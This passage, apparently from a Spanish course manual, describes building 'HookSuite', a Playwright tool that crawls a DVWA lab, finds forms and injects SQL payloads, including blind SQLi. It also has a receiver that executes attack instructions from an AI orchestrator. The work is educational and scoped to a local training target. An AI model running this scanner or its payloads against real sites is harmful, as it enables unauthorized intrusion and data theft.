    discovered_urls = await spider.run(page)
    spider.save_results()

    print("\n📄 FASE 4: Descubrimiento de formularios")
    form_discoverer = FormDiscoverer()
    all_forms = await form_discoverer.scan_all_pages(page, discovered_urls[:10])
    form_discoverer.save_results(all_forms)

    print(f"\n📄 FASE 5: Ataques automatizados")
    attacker = WebAttacker()
    vulnerabilities_found = []

    for form in all_forms[:5]:
        if not form.get("injectable_fields"):
            continue

        for field in form["injectable_fields"][:2]:
            field_name = field["name"]
            print(f"\n 🎯 Atacando campo '{field_name}' en {form['url']}")

            if "sqli" in attack_priorities:
```

```
sqli_payloads = [
    "' OR '1'='1",
    "' OR '1'='1'--",
    "1 UNION SELECT null--",
]

for payload in sqli_payloads:
    result = await attacker.fill_form_with_payload(
        page, form, field_name, payload
    )

    if result.get("anomalies"):
        print(f" ⚠️ Anomalías detectadas:
{result['anomalies']}")
        vulnerability = {
            "id": f"vuln_{len(vulnerabilities_found)+1}",
            "tipo": "SQL Injection",
            "severidad": "critical",
            "titulo": f"SQL Injection en campo '{field_name}'",
            "descripcion": f"El campo '{field_name}' en
{form['url']} es vulnerable a SQL Injection.",
            "url": form["url"],
            "payload": payload,
            "anomalies": result["anomalies"],
            "recomendacion": "Usar consultas preparadas con
parámetros enlazados. Nunca concatenar input de usuario en consultas SQL.",
            "screenshot": result.get("screenshot_after"),
        }
        vulnerabilities_found.append(vulnerability)
        await reporter.send_vulnerability(vulnerability)
        break

if "sqli" in attack_priorities:
    blind_result = await attacker.test_sqli_blind_boolean(
        page, form, field_name
    )
    if blind_result.get("vulnerable"):
        vulnerability = {
            "id": f"vuln_{len(vulnerabilities_found)+1}",
            "tipo": "Blind SQL Injection",
            "severidad": "critical",
            "titulo": f"Blind SQLi en campo '{field_name}'",
            "descripcion": f"Posible Blind SQL Injection detectado por
diferencia en respuestas booleanas.",
            "url": form["url"],
            "payload": "Boolean-based blind",
            "recomendacion": "Usar consultas preparadas. Nunca usar
input del usuario directamente en consultas SQL.",
            "evidence": blind_result,
        }
        vulnerabilities_found.append(vulnerability)
        await reporter.send_vulnerability(vulnerability)

attacker.save_results()
```

```
reporter.save_local_log()

print(f"\n{'='*60}")
print(f"  AUDITORÍA COMPLETADA")
print(f"  URLs descubiertas: {len(discovered_urls)}")
print(f"  Formularios analizados: {len(all_forms)}")
print(f"  Vulnerabilidades encontradas: {len(vulnerabilities_found)}")
print(f"{'='*60}\n")

await browser_manager.stop()
return vulnerabilities_found

async def receive_instruction(instruction: Dict) -> Dict:
    url = instruction.get("url")
    field_selector = instruction.get("selector")
    payload = instruction.get("payload")
    session_token = instruction.get("session_token")

    reporter = EventReporter(session_token)
    await reporter.check_backend()

    await browser_manager.start()
    context = await browser_manager.new_context()
    page = await browser_manager.new_page(context)

    try:
        await page.goto(url, wait_until="networkidle", timeout=20000)

        if field_selector:
            await page.fill(field_selector, payload or "")

            await page.keyboard.press("Enter")
            await page.wait_for_load_state("networkidle", timeout=10000)

        response_body = await page.content()
        screenshot = await WebAttacker().take_screenshot(page,
"instruction_result")

        result = {
            "url": page.url,
            "response_body_snippet": response_body[:2000],
            "screenshot": screenshot,
            "status": "completed",
        }

        await reporter.send_network_packet(result)
        return result

    except Exception as e:
        return {"status": "error", "error": str(e)}
    finally:
        await browser_manager.stop()
```

```
if __name__ == "__main__":  
    asyncio.run(run_full_audit(TARGET_URL))
```

13.2 Ejecuta la auditoría completa para verificar que todo funciona:

```
python main.py
```

Debes ver las 5 fases ejecutándose en secuencia y al final el resumen con vulnerabilidades encontradas en DVWA.

13.3 Verifica que se crearon los archivos de resultados:

```
ls results/
```

Debes ver: `spider_results.json`, `forms_discovered.json`, `fingerprint.json`, `attack_results.json`, `events_log.json` y la carpeta `screenshots/`.

13.4 Commit del bloque 03:

```
git add .  
git commit -m "feat(playwright): automatización de ataques, Blind SQLi y reporte al backend"  
git push origin feature/playwright
```

BLOQUE 04 — Orquestación con el módulo de IA

Paso 14 — Crear el receptor de instrucciones de la IA

🧡 **CONTACTO CON P5 IA** — Este es el punto de integración más importante de tu módulo. Cuando P5 tenga el orquestador de IA listo, necesitarás que te confirme:

1. El formato exacto del objeto de instrucción que te enviará
2. La URL del endpoint donde P5 enviará las instrucciones a Playwright
3. El formato del objeto de resultado que espera recibir de vuelta

Mientras tanto, el receptor funciona con instrucciones locales para que puedas probarlo.

14.1 Crea el archivo `modules/orchestrator_receiver.py`:

```
import asyncio  
import httpx  
import json  
import os
```

```
from typing import Dict, Optional
from dotenv import load_dotenv

from core.browser import browser_manager
from core.auth import login_dvwa, login_generic
from modules.attacker import WebAttacker
from modules.spider import Spider
from modules.forms import FormDiscoverer
from modules.fingerprint import TechFingerprinter
from utils.reporter import EventReporter

load_dotenv()

BACKEND_URL = os.getenv("BACKEND_URL", "http://localhost:8000")
POLL_INTERVAL = 2

class InstructionReceiver:
    def __init__(self, session_token: str):
        self.session_token = session_token
        self.running = False
        self.attacker = WebAttacker()
        self.reporter = EventReporter(session_token)

    async def execute_instruction(self, instruction: Dict, page) -> Dict:
        instruction_type = instruction.get("type", "attack")

        if instruction_type == "navigate":
            return await self._navigate(page, instruction)
        elif instruction_type == "attack":
            return await self._attack(page, instruction)
        elif instruction_type == "spider":
            return await self._spider(page, instruction)
        elif instruction_type == "fingerprint":
            return await self._fingerprint(page, instruction)
        else:
            return {"error": f"Tipo de instrucción desconocido: {instruction_type}"}

    async def _navigate(self, page, instruction: Dict) -> Dict:
        url = instruction.get("url")
        await page.goto(url, wait_until="networkidle", timeout=20000)
        screenshot = await self.attacker.take_screenshot(page, "navigate")
        return {
            "type": "navigate",
            "url": page.url,
            "screenshot": screenshot,
            "status": "completed",
        }

    async def _attack(self, page, instruction: Dict) -> Dict:
        url = instruction.get("url")
        selector = instruction.get("selector")
        payload = instruction.get("payload", "")
        verify = instruction.get("verify", "")
```

```

    await page.goto(url, wait_until="domcontentloaded", timeout=15000)

    if selector:
        try:
            await page.fill(selector, payload)
            await page.keyboard.press("Enter")
            await page.wait_for_load_state("networkidle", timeout=10000)
        except Exception as e:
            return {"status": "error", "error": str(e)}

    response_body = await page.content()
    screenshot = await self.attacker.take_screenshot(page, "attack_result")

    anomalies = self.attacker._detect_anomalies(payload, response_body, 0,
url)

    verify_found = verify.lower() in response_body.lower() if verify else
False

    result = {
        "type": "attack",
        "url": page.url,
        "payload": payload,
        "response_body_snippet": response_body[:2000],
        "anomalies": anomalies,
        "verify_found": verify_found,
        "screenshot": screenshot,
        "status": "completed",
        "vulnerable": bool(anomalies) or verify_found,
    }

    if result["vulnerable"]:
        vulnerability = {
            "id": f"ia_vuln_{len(self.attacker.results)+1}",
            "tipo": "IA Detection",
            "severidad": "high",
            "titulo": f"Vulnerabilidad detectada por IA en {url}",
            "descripcion": f"Anomalías encontradas: {anomalies}",
            "url": url,
            "payload": payload,
            "recomendacion": "Revisar y sanitizar el input del usuario.",
        }
        await self.reporter.send_vulnerability(vulnerability)

    return result

async def _spider(self, page, instruction: Dict) -> Dict:
    url = instruction.get("url")
    max_pages = instruction.get("max_pages", 10)

    spider = Spider(base_url=url, max_pages=max_pages)
    discovered = await spider.run(page)
    spider.save_results()

```

```

        return {
            "type": "spider",
            "discovered_urls": discovered,
            "total": len(discovered),
            "status": "completed",
        }

    async def _fingerprint(self, page, instruction: Dict) -> Dict:
        url = instruction.get("url")
        fingerprinter = TechFingerprinter()
        result = await fingerprinter.fingerprint(page, url)
        await self.reporter.send_fingerprint(result)

        return {
            "type": "fingerprint",
            "result": result,
            "status": "completed",
        }

    async def poll_for_instructions(self):
        self.running = True
        print(f"✓ Iniciando polling de instrucciones desde {BACKEND_URL}")

        await browser_manager.start()
        context = await browser_manager.new_context()
        page = await browser_manager.new_page(context)

        await login_dwva(page)

        await self.reporter.check_backend()

        while self.running:
            try:
                if self.reporter.backend_available:
                    async with httpx.AsyncClient(timeout=5) as client:
                        response = await client.get(
                            f"
{BACKEND_URL}/api/playwright/instruction/{self.session_token}"
                        )
                        if response.status_code == 200:
                            data = response.json()
                            if data.get("instruction"):
                                instruction = data["instruction"]
                                print(f"\n📄 Instrucción recibida:
{instruction.get('type')}")

                                result = await
self.execute_instruction(instruction, page)

                                await client.post(
                                    f"
{BACKEND_URL}/api/playwright/result/{self.session_token}",
                                    json=result

```

```

        )
        print(f"✓ Resultado enviado al backend")

    except Exception as e:
        pass

    await asyncio.sleep(POLL_INTERVAL)

    await browser_manager.stop()

def stop(self):
    self.running = False

```

 **PROMPT DE IA** — Para conectar este receptor con el orquestador de P5:

Tengo un módulo Python en HookSuite que recibe instrucciones del módulo de IA y ejecuta ataques automáticos con Playwright. El módulo de IA (P5) envía instrucciones en este formato: [pega el formato que P5 te comunique]. Mi receptor espera este formato: [pega tu formato]. ¿Cómo adapto mi receptor para consumir el formato de P5?

Paso 15 — Prueba de flujo completo de ataque

15.1 Crea un script de prueba de flujo completo `test_full_flow.py`:

```

import asyncio
from modules.orchestrator_receiver import InstructionReceiver

async def test_instructions():
    receiver = InstructionReceiver(session_token="test_session")

    from core.browser import browser_manager
    from core.auth import login_dvwa

    await browser_manager.start()
    context = await browser_manager.new_context()
    page = await browser_manager.new_page(context)
    await login_dvwa(page)

    print("\n🔧 Test 1: Fingerprinting")
    result = await receiver.execute_instruction(
        {"type": "fingerprint", "url": "http://localhost:8888"},
        page
    )
    print(f"  Tecnologías: {result.get('result', {}).get('technologies')}")

    print("\n🔧 Test 2: Spider")
    result = await receiver.execute_instruction(

```



```
        {"type": "spider", "url": "http://localhost:8888", "max_pages": 5},
        page
    )
    print(f"  URLs descubiertas: {result.get('total')}")

    print("\n🔧 Test 3: Ataque SQLi")
    result = await receiver.execute_instruction(
        {
            "type": "attack",
            "url": "http://localhost:8888/vulnerabilities/sqli/",
            "selector": "input[name='id']",
            "payload": "' OR '1'='1'",
            "verify": "admin",
        },
        page
    )
    print(f"  Vulnerable: {result.get('vulnerable')}")
    print(f"  Anomalías: {result.get('anomalies')}")

    await browser_manager.stop()
    print("\n✓ Todos los tests completados")

asyncio.run(test_instructions())
```

15.2 Ejecuta los tests:

```
python test_full_flow.py
```

Si los tres tests pasan, el módulo está listo para conectar con P5.

15.3 Guarda la salida como evidencia y elimina el script:

```
python test_full_flow.py > results/test_flow_output.txt
rm test_full_flow.py
```

15.4 Commit del bloque 04:

```
git add .
git commit -m "feat(playwright): receptor de instrucciones IA y flujo completo de ataque"
git push origin feature/playwright
```

BLOQUE 05 — Demo y documentación

Paso 16 — Optimización de velocidad para la demo

Antes de preparar la demo, verifica que todos los scripts están optimizados para velocidad.

16.1 Verifica que en ningún lugar del código usas `page.type()`. Busca en todos los archivos:

```
grep -r "page.type(" modules/ core/
```

Si encuentras alguno, cámbialo por `page.fill()`.

16.2 Verifica que el paralelismo está activado correctamente. En `main.py`, las fases de ataque pueden ejecutarse en paralelo para múltiples formularios:

```
async def attack_forms_in_parallel(forms: list, page_factory, reporter):
    from core.browser import browser_manager

    async def attack_single_form(form):
        context = await browser_manager.new_context()
        page = await browser_manager.new_page(context)
        attacker = WebAttacker()
        results = []
        for field in form.get("injectable_fields", []):[:2]:
            result = await attacker.fill_form_with_payload(
                page, form, field["name"], "' OR '1'='1"
            )
            results.append(result)
        await context.close()
        return results

    tasks = [attack_single_form(form) for form in forms[:3]]
    return await browser_manager.run_in_parallel(tasks)
```

Paso 17 — Preparar el script de demo

El momento estelar de P3 en la presentación es cuando el profesor ve a Playwright navegar, atacar y encontrar una vulnerabilidad de forma autónoma. Esto dura entre 3 y 4 minutos dentro de los 10 minutos totales.

17.1 Crea el script de demo `demo.py`:

```
import asyncio
import os
from dotenv import load_dotenv

from core.browser import browser_manager
from core.auth import login_dwva
from modules.spider import Spider
from modules.forms import FormDiscoverer
```

```
from modules.fingerprint import TechFingerprinter
from modules.attacker import WebAttacker
from utils.reporter import EventReporter

load_dotenv()

TARGET = "http://localhost:8888"

async def run_demo():
    print("\n" + "="*60)
    print(" HookSuite – DEMO de auditoría automatizada")
    print(" Objetivo: DVWA (Damn Vulnerable Web Application)")
    print("="*60)

    reporter = EventReporter("demo_session")
    await reporter.check_backend()

    print("\n[PASO 1] Iniciando navegador...")
    await browser_manager.start()
    context = await browser_manager.new_context()
    page = await browser_manager.new_page(context)

    print("[PASO 2] Autenticándose en DVWA...")
    await login_dvwa(page)

    print("[PASO 3] Detectando tecnologías del objetivo...")
    fingerprinter = TechFingerprinter()
    fingerprint = await fingerprinter.fingerprint(page, TARGET)
    print(f" → Tecnologías detectadas: {fingerprint['technologies']}")
    print(f" → Prioridades de ataque: {fingerprint['attack_priorities']}")

    print("\n[PASO 4] Mapeando la aplicación web (spider)...")
    spider = Spider(base_url=TARGET, max_pages=8)
    urls = await spider.run(page)
    print(f" → {len(urls)} URLs descubiertas automáticamente")

    print("\n[PASO 5] Descubriendo formularios vulnerables...")
    form_discoverer = FormDiscoverer()
    target_url = f"{TARGET}/vulnerabilities/sqli/"
    forms = await form_discoverer.discover_forms(page, target_url)
    print(f" → {len(forms)} formularios encontrados en la página SQLi")

    if not forms:
        print(" X No se encontraron formularios. Usando configuración manual.")
        forms = [{
            "url": target_url,
            "action": target_url,
            "method": "GET",
            "fields": [{ "name": "id", "type": "text", "value": "" }],
            "injectable_fields": [{ "name": "id", "type": "text", "value": "" }],
        }]

    print("\n[PASO 6] Lanzando ataque SQL Injection...")
    attacker = WebAttacker()
```

```

    form = forms[0]
    target_field = form["injectable_fields"][0]["name"] if
form["injectable_fields"] else "id"

    payloads_to_test = [
        "' OR '1'='1",
        "' OR '1'='1'--",
        "1 UNION SELECT null,null--",
    ]

    vulnerability_found = False
    for payload in payloads_to_test:
        print(f" → Probando payload: {payload}")
        result = await attacker.fill_form_with_payload(page, form, target_field,
payload)

        if result.get("anomalies"):
            print(f"\n ⚠ VULNERABILIDAD DETECTADA!")
            print(f" → Tipo: SQL Injection")
            print(f" → Payload: {payload}")
            print(f" → Anomalías: {result['anomalies']}")
            print(f" → Captura guardada: {result.get('screenshot_after')}")

            await reporter.send_vulnerability({
                "id": "demo_vuln_1",
                "tipo": "SQL Injection",
                "severidad": "critical",
                "titulo": "SQL Injection confirmado en DVWA",
                "descripcion": f"El campo '{target_field}' es vulnerable a SQL
Injection.",
                "url": target_url,
                "payload": payload,
                "anomalies": result["anomalies"],
                "recomendacion": "Usar consultas preparadas con parámetros
enlazados.",
            })
            vulnerability_found = True
            break

    if not vulnerability_found:
        print(" → No se detectaron anomalías con los payloads probados")

    print("\n[PASO 7] Probando Blind SQLi...")
    blind_result = await attacker.test_sql_i_blind_boolean(page, form,
target_field)
    if blind_result.get("vulnerable"):
        print(f" ⚠ Blind SQLi confirmado! Diferencia en respuestas:
{blind_result['difference']} caracteres")
    else:
        print(f" → Sin indicios de Blind SQLi")

    reporter.save_local_log()
    attacker.save_results()

```

```
print("\n" + "="*60)
print(" DEMO COMPLETADA")
print(f" Vulnerabilidades encontradas: {'SÍ' if vulnerability_found else 'NO'}")
print(f" Resultados guardados en: results/")
print("="*60 + "\n")

await browser_manager.stop()

if __name__ == "__main__":
    asyncio.run(run_demo())
```

17.2 Ejecuta la demo completa y verifica que funciona de principio a fin:

```
python demo.py
```

17.3 Guarda la salida completa como evidencia para el informe:

```
python demo.py 2>&1 | tee results/demo_output.txt
```

17.4 Practica la demo al menos tres veces antes del día 25. El objetivo es que puedas ejecutarla sin sorpresas y explicar lo que hace en tiempo real.

17.5 Graba una sesión de la demo funcionando como backup:

```
# En Mac:
# Usa QuickTime Player → Archivo → Nueva grabación de pantalla

# En Windows:
# Win + G → Grabar
```

Paso 18 — Abrir el Pull Request

18.1 Haz el commit final:

```
git add .
git commit -m "feat(playwright): demo completa y script de auditoría automática"
git push origin feature/playwright
```

18.2 Ve al repositorio en GitHub y abre un Pull Request de `feature/playwright` a `main`.

18.3 Título: `feat(playwright): módulo Playwright completo HookSuite`

18.4 En la descripción incluye:

- Lista de módulos implementados (spider, forms, fingerprint, attacker, orchestrator_receiver)
- Captura de la salida de `demo.py` mostrando vulnerabilidades detectadas
- Nota sobre qué funciona en standalone y qué necesita P5 para la orquestación completa

📌 **CONTACTO CON P5 GitHub** — Notifica a P5 que el PR está listo para revisión en GitHub.

Paso 19 — Capturas para el informe PDF

Guarda estas capturas en `/docs/capturas/playwright/`:

- `benchmark_velocidad.png` — Salida del benchmark mostrando la mejora de velocidad `page.fill()` vs `page.type()`
- `spider_funcionando.png` — Terminal mostrando el spider descubriendo URLs de DVWA
- `formularios_descubiertos.png` — El archivo `forms_discovered.json` con formularios reales
- `fingerprint_resultado.png` — El archivo `fingerprint.json` con tecnologías detectadas
- `ataque_sql_i.png` — Captura del screenshot tomado después de un ataque SQLi exitoso
- `vulnerabilidad_detectada.png` — La anomalía detectada en la salida del terminal
- `demo_output.png` — La salida completa de `demo.py` mostrando todas las fases

Paso 20 — Documentación del módulo

Escribe el archivo `/docs/manual_playwright.md`:

```
# Documentación técnica – HookSuite Playwright

## Stack tecnológico
- Python 3.11
- Playwright 1.44 (automatización de navegador)
- asyncio (paralelismo)
- httpx (comunicación con el backend)

## Módulos implementados

### Spider (modules/spider.py)
Crawler automático que mapea todas las URLs accesibles de la aplicación objetivo.
Algoritmo BFS con filtrado de dominios externos y extensiones de archivo irrelevantes.
Límite configurable de páginas máximas para evitar loops infinitos.

### Form Discoverer (modules/forms.py)
Descubre todos los formularios HTML en las páginas mapeadas por el spider.
Identifica campos inyectables y descubre peticiones AJAX mediante simulación de interacciones.

### Fingerprinter (modules/fingerprint.py)
Detecta tecnologías del servidor objetivo analizando headers HTTP, cookies y contenido HTML.
```

Genera prioridades de ataque basadas en las tecnologías detectadas.

Attacker (modules/attacker.py)

Automatiza el envío de payloads en formularios y detecta anomalías en las respuestas.

Implementa Blind SQLi boolean-based y time-based.

Toma capturas de pantalla antes y después de cada ataque.

Orchestrator Receiver (modules/orchestrator_receiver.py)

Recibe instrucciones del módulo de IA (P5) y las ejecuta.

Hace polling al backend cada 2 segundos para recibir nuevas instrucciones.

Optimización de velocidad

Se usa `page.fill()` en vez de `page.type()` en todas las interacciones de texto.

Mejora medida: [X]x más rápido (ver benchmark en capturas).

La paralelización usa `asyncio.Semaphore` con límite de 3 páginas simultáneas.

Limitaciones conocidas

- No funciona con aplicaciones que usan CAPTCHAs
- La autenticación de dos factores requiere intervención manual
- Aplicaciones con JavaScript muy complejo pueden requerir timeouts más largos
- El Blind SQLi time-based puede dar falsos positivos en servidores lentos

Entorno de pruebas

DVWA (Damn Vulnerable Web Application) en Docker, nivel de seguridad Low.

`docker run -d -p 8888:80 vulnerables/web-dvwa`

Checklist final antes de la entrega

Antes del día 22, verifica que todo está en orden:

- ☐ Playwright está instalado y `playwright install` se ejecutó correctamente
- ☐ DVWA levanta con Docker y Playwright puede autenticarse
- ☐ El benchmark muestra mejora de velocidad `page.fill()` vs `page.type()`
- ☐ El spider mapea correctamente las URLs de DVWA
- ☐ El form discoverer encuentra los formularios de DVWA
- ☐ El fingerprinter detecta PHP y Apache en DVWA
- ☐ El attacker detecta anomalías SQL con payloads básicos
- ☐ El Blind SQLi boolean-based detecta diferencias en respuestas de DVWA
- ☐ El script `demo.py` se ejecuta de principio a fin sin errores
- ☐ La demo encuentra al menos una vulnerabilidad en DVWA
- ☐ Hay capturas de pantalla de cada ataque exitoso en `results/screenshots/`
- ☐ El receptor de instrucciones ejecuta los tres tipos (fingerprint, spider, attack)
- ☐ El reporter envía eventos al backend cuando está disponible
- ☐ Todos los commits siguen la convención del proyecto
- ☐ El PR a main está aprobado por P5
- ☐ Las capturas para el informe están en `/docs/capturas/playwright/`
- ☐ La documentación está escrita en `/docs/manual_playwright.md`
- ☐ La demo ha sido ensayada mínimo tres veces

- ☐ Hay una grabación de backup de la demo funcionando
 - ☐ El archivo `results/demo_output.txt` tiene la salida completa de la demo
-

Manual técnico P3 Playwright — Proyecto HookSuite — Módulo de Ciberseguridad Avanzada 2026